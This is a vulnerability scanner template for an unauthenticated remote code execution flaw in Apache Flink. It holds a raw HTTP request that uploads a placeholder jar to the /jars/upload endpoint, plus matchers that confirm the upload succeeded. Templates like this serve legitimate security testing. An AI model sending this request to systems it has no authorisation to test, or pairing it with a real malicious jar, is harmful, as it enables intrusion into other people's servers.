id: apache-flink-unauth-rce info: name: Apache Flink - Remote Code Execution author: pikpikcu severity: critical description: Apache Flink reference: Apache Flink contains an unauthenticated remote code execution vulnerability. - https://www.exploit-db.com/exploits/48978 - https://adamc95.medium.com/apache-flink-1-9-x-part-1-set-up-5d85fd2770f3 - https://github.com/LandGrey/flink-unauth-rce classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cwe-id: CWE-77 tags: apache,flink,rce,intrusive,unauth requests: - raw: - | POST /jars/upload HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3 --8ce4b16b22b58894aa86c421e8759df3 Content-Disposition: form-data; name="jarfile";filename="poc.jar" Content-Type:application/octet-stream {{randstr}} --8ce4b16b22b58894aa86c421e8759df3-- matchers-condition: and matchers: - type: word words: - "application/json" part: header condition: and - type: word words: - "success" - "_poc.jar" part: body condition: and - type: status status: - 200 # Enhanced by mp on 2022/05/23